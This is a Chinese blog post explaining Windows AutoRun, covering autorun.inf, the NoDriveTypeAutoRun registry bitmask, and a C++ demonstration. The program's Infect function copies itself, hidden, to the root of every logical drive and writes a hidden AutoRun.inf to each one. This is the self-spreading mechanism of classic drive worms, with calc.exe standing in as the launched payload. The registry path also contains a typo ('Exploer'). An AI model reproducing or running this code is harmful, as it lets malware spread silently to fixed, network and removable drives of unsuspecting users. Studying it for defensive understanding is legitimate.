AutoRun简析

版权声明：本文为博主原创文章，未经博主允许不得转载。 https://blog.csdn.net/dong1528313271/article/details/80792495

---

一、来世今生
操作系统本身系统文件cdvsd.vxd侦测是否有光盘放入光驱，如果有的话就开始寻找光盘目录下 的AutoRun.inf文件，如果存在则执行inf。AutoRun.inf不仅能使光盘自启还能作用与硬盘

二、设置AutoRun的注册表键值
置0自启，置1禁止

键路径：开始->regedit->[HKEY_CURRENT_USER/Software/Microsoft/Windows/CurrentVersion/Policies/Exploer]

我的NoDriveTypeAutoRun键值是0xdd

设备名称	第几位	数值	设备用如下数值表示	设备名称含义
DRIVE_UNKNOWN	0	1	01H	不能识别的类型设备
DRIVE_NO_ROOT_DIR	1	0	02H	没有根目录的驱动器
DRIVE_REMOVABLE	2	1	04H	可移动驱动器
DRIVE_FIXED	3	0	08H	固定的驱动器
DRIVE_REMOTE	4	1	10H	网络驱动器
DRIVE_CDROM	5	0	20H	光驱
DRIVE_RAMDISK	6	0	40H	RAM磁盘

---

我将我的NoDriveTypeAutoRun设置为0xc3

三、关于inf文档的内容

http://www.doc88.com/p-6981882557728.html

实例

environment：vs2013
OS：windows7
date:6.23.2018

#include<windows.h>
#include<string>

#define Debug 0


#ifdef UNICODE 
using Tstring = std::wstring;
#else
using Tstring = std::string;
#endif



DWORD ErrorCode = 0;


std::string strAutorun = "[autorun]                                     \
                          \r\nopen = calc.exe                           \
                          \r\nshell\\open = 打开(&0)                  \
                          \r\nshell\\open\\Command = calc.exe           \
                          \r\nshell\\explore = 资源管理器(&x)            \
                              \r\nshell\\explore\\Command = calc.exe        \
                          \r\nshellexecute = calc.exe                   \
                          \r\nshell\\Auto\\Command = calc.exe";



DWORD isSuccess(Tstring functionName, bool is)
{
    DWORD ret = GetLastError();
    MessageBox(NULL,(TEXT("call ") + functionName + (is==false?TEXT(" false"):TEXT(" successful"))).c_str(), L"tips: ",MB_OKCANCEL);
    return ret;
}



void Infect(std::wstring filename)
{
    std::wstring name = filename.c_str() + filename.rfind('\\') + 1;
    TCHAR drivers[128];
    TCHAR* curptr = drivers;
    DWORD dwDriverCount = GetLogicalDriveStrings(sizeof(drivers) / sizeof(TCHAR), drivers);
    for (; curptr - drivers < dwDriverCount;)
    {
        std::wstring destDirectory = curptr;
        std::wstring destfile = destDirectory + name;

        CopyFile(filename.c_str(), destfile.c_str(), FALSE);
        SetFileAttributes(destfile.c_str(), FILE_ATTRIBUTE_HIDDEN);

        HANDLE hFile = CreateFile((destDirectory + TEXT("AutoRun.inf")).c_str(),GENERIC_WRITE, FILE_SHARE_READ, NULL, OPEN_ALWAYS, FILE_ATTRIBUTE_HIDDEN, NULL);
        if (Debug)
            ErrorCode = isSuccess(L"CreateFile", NULL != hFile);
        DWORD writeCount = 0;
        WriteFile(hFile, strAutorun.c_str(), strAutorun.size(), &writeCount, NULL);
        CloseHandle(hFile);
        while ('\0' != *curptr)curptr++;
        curptr++;
    }
}


int main()
{

    TCHAR path[MAX_PATH] = { 0 };
    GetModuleFileName(NULL, path, MAX_PATH);
    Infect(std::wstring(path));

    return 0;
}